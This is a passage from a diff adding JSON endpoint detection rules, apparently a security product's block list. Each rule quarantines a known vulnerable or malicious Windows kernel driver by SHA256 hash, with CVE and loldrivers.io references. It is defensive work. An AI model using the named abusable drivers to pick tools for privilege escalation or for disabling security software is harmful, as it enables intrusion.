+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611584Z",
+  "creation_date": "2026-03-23T11:45:29.611586Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611591Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66cc007348a41fb33fab59f5ea265006534ba82db4eb7327039cbe2b4ce7e077",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a2208d9-53d4-5fd5-9e59-9ef6103c2146",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605664Z",
+  "creation_date": "2026-03-23T11:45:29.605666Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605671Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c7e5b25a33a7805c999d318a9523fcae46695a89f55bbdb8bb9087360323dfc",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a22df87-9594-59c1-ac75-befa3c6bf7dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156038Z",
+  "creation_date": "2026-03-23T11:45:31.156040Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f42d07ed108ef9de0b48f2bfd0f2d427d9c5241873447167744ff3b7472449a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a22f1b9-9f22-58cd-a12c-a219038f8d59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615765Z",
+  "creation_date": "2026-03-23T11:45:29.615767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8ffb8a23be71c26f784905110b7e752473be55216300d08a83c40c1496fb6c1",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a2ad231-5a70-5535-9ef1-0535e61cc99a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157118Z",
+  "creation_date": "2026-03-23T11:45:31.157120Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157125Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f07b4f831e0d5e9be4c6a9a188ac6a4e3ca45f1abdea83e7480d101774a6a3e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a3d3ba8-1176-5e41-a0d4-b5b436a54b07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982414Z",
+  "creation_date": "2026-03-23T11:45:29.982416Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982421Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2b0b2e9e458016b22ebbf47411008f0a87efd9103b125870ce37246ab5bdff0",
+  "comment": "Vulnerable Kernel Driver (aka aswVmm.sys) [https://www.loldrivers.io/drivers/a845a05c-5357-4b78-9783-16b4d34b2cb0/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a4fe9b3-0c6b-55d4-adf4-fbfa1f735f13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825593Z",
+  "creation_date": "2026-03-23T11:45:31.825595Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825600Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec3003c1ace455256ab24047d65f50436268e6a1f9ed7f1058a3ee77672a21f8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a529ee2-9b47-597d-a1a2-9fb14b7e6ea5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477708Z",
+  "creation_date": "2026-03-23T11:45:31.477712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477723Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee55d61ce6082a9f8ff1e8e9fe83e1b52890d59260a12edcb44afb3a5250a537",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a54338d-758c-5467-b153-dd1318ccdc80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981402Z",
+  "creation_date": "2026-03-23T11:45:29.981404Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981410Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf66fcbcb8b2ea7fb4398f398b7480c50f6a451b51367718c36330182c1bb496",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a5abda5-9e61-552f-aaba-fe7d2289d432",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608223Z",
+  "creation_date": "2026-03-23T11:45:29.608228Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608233Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f17b59039d2d47d6c653a7abce7b4b24e20e5501ac9fb1ec6893873f4cf006e",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a5b7f1c-051b-5d2d-ad3c-5b4c4fad75e8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823851Z",
+  "creation_date": "2026-03-23T11:45:31.823853Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823859Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1cb5cd25ba016bb5aa00c045dd437332fa72994054c106ea0e259ce5ab25a9e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a5c4486-23c5-59d6-a877-eda5c41e6614",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453011Z",
+  "creation_date": "2026-03-23T11:45:30.453014Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453023Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e728b259113d772b4e96466ab8fe18980f37c36f187b286361c852bd88101717",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a5feb19-4a14-5a6e-bce6-f04a61b1fc5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491849Z",
+  "creation_date": "2026-03-23T11:45:31.491851Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491856Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "624168346c02a53d6ca4dcd027538f26dab8e065511538d2c935e67ce72aa111",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a65c004-7909-54ea-9757-9f2ee1cac567",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142506Z",
+  "creation_date": "2026-03-23T11:45:31.142508Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142514Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "921f3df0ae9e95f2195ee2dd2ef21d044e63ade12c1ad494378e6f3b55793402",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a70c169-f44e-57ce-aecd-8a29585ea16e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144129Z",
+  "creation_date": "2026-03-23T11:45:32.144131Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144136Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94b87b1cdaf1d86c2bc4eacef45608d0f16fdd3b981b88cdddc16b6bc64fe25d",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a70e384-b711-5965-88f3-cf3e71c5f093",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820513Z",
+  "creation_date": "2026-03-23T11:45:30.820515Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820520Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3db6290145dc8905c0f97e218e0ef071f435a6ffaf1ed4c0699605d9a540038",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a7c82e3-b069-5c07-a04f-4d2c35bc2aa9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475730Z",
+  "creation_date": "2026-03-23T11:45:30.475744Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475753Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d16a59cd7c52d1d32bb43670cdca739aadb19ba15996bac62071845e1bfbdb95",
+  "comment": "Malicious Kernel Driver (aka wfshbr64.sys) [https://www.loldrivers.io/drivers/ddf661c0-7dfc-4c26-89c5-00cd6a81a139/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a8b0cc6-e401-55af-921d-57af9a41fdc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826407Z",
+  "creation_date": "2026-03-23T11:45:30.826409Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826415Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a5825678ad989a0a02642a001aad3504e2487e0b88c836327ff56d7f9c9ea49",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a8bbc39-5a9b-53bc-ab72-0d678e4cf286",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453783Z",
+  "creation_date": "2026-03-23T11:45:30.453787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453796Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16e924aa8ced646c2ee99602b523f511ea386b78ed78a3d265a560fb64e88ee3",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a90a483-aa0c-51e0-8d2d-a9878fe0399b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809990Z",
+  "creation_date": "2026-03-23T11:45:31.809993Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809999Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d512fe03a7722259d0c3b23db809c2c2c4dc8dfc2ac2ec9a2d49447c875e6d58",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a95640b-f703-529f-b9c6-06da7973b899",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985008Z",
+  "creation_date": "2026-03-23T11:45:29.985010Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985016Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80cbba9f404df3e642f22c476664d63d7c229d45d34f5cd0e19c65eb41becec3",
+  "comment": "Dangerous Physmem Kernel Driver (aka Dh_Kernel.Sys) [https://www.loldrivers.io/drivers/dfce8b0f-d857-4808-80ef-61273c7a4183/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0aacd36d-1371-50a7-b3cc-683dfacd1166",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619456Z",
+  "creation_date": "2026-03-23T11:45:29.619458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1044ea40d459fe4c619a44afe53e6ff5a9cc5a37cf568d974ae23ed62da58759",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0aae4fa0-32fa-53f6-97b5-020c5cc7aa11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977171Z",
+  "creation_date": "2026-03-23T11:45:29.977173Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
